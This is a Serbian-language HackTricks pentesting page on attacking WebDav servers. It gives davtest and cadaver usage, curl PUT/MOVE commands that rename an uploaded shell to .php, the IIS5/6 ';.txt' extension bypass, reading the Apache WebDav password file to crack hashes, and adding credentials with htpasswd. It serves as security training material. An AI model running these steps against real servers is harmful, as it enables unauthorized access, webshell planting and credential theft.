83 lines
3.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebDav
{{#include ../../banners/hacktricks-training.md}}
Kada se radi sa **HTTP serverom sa omogućеним WebDav**, moguće je **manipulisati datotekama** ako imate prave **akreditive**, obično proverene putem **HTTP Basic Authentication**. Sticanje kontrole nad takvim serverom često uključuje **upload i izvršavanje webshell-a**.
Pristup WebDav serveru obično zahteva **važeće akreditive**, pri čemu je [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) uobičajena metoda za njihovo sticanje.
Da biste prevazišli ograničenja na upload datoteka, posebno ona koja sprečavaju izvršavanje skripti na serveru, možete:
- **Upload** datoteka sa **izvršnim ekstenzijama** direktno ako nije ograničeno.
- **Preimenujte** uploadovane neizvršne datoteke (kao što su .txt) u izvršnu ekstenziju.
- **Kopirajte** uploadovane neizvršne datoteke, menjajući njihovu ekstenziju u onu koja je izvršna.
## DavTest
**Davtest** pokušava da **uploaduje nekoliko datoteka sa različitim ekstenzijama** i **proverava** da li je ekstenzija **izvršena**:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
To ne znači da se **.txt** i **.html ekstenzije izvršavaju**. To znači da možete **pristupiti ovim datotekama** putem veba.
## Cadaver
Možete koristiti ovaj alat da **se povežete na WebDav** server i izvršite radnje (kao što su **upload**, **move** ili **delete**) **ručno**.
```
cadaver <IP>
```
## PUT zahtev
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE zahtev
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav ranjivost
Ova ranjivost je veoma zanimljiva. **WebDav** **ne dozvoljava** **upload** ili **preimenovanje** fajlova sa ekstenzijom **.asp**. Ali možete **obići** ovo **dodajući** na kraj imena **";.txt"** i fajl će biti **izvršen** kao da je .asp fajl (takođe možete **koristiti ".html" umesto ".txt"** ali **NE zaboravite ";"**).
Zatim možete **upload** vašu shell kao ".**txt" fajl** i **kopirati/premestiti** ga u ".asp;.txt" fajl. Pristupajući tom fajlu preko web servera, biće **izvršen** (cadaver će reći da akcija premestanja nije uspela, ali jeste).
![](<../../images/image (1092).png>)
## Post akreditivi
Ako je Webdav koristio Apache server, trebali biste pogledati konfigurirane sajtove u Apache-u. Obično:\
_**/etc/apache2/sites-enabled/000-default**_
Unutra možete pronaći nešto poput:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Kao što možete videti, postoje datoteke sa važećim **credentials** za **webdav** server:
```
/etc/apache2/users.password
```
Unutar ovog tipa datoteka naći ćete **korisničko ime** i **hash** lozinke. To su akreditivi koje webdav server koristi za autentifikaciju korisnika.
Možete pokušati da ih **provalite**, ili da **dodate više** ako iz nekog razloga želite da **pristupite** **webdav** serveru:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Da biste proverili da li nove kredencijale rade, možete uraditi:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## Reference
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}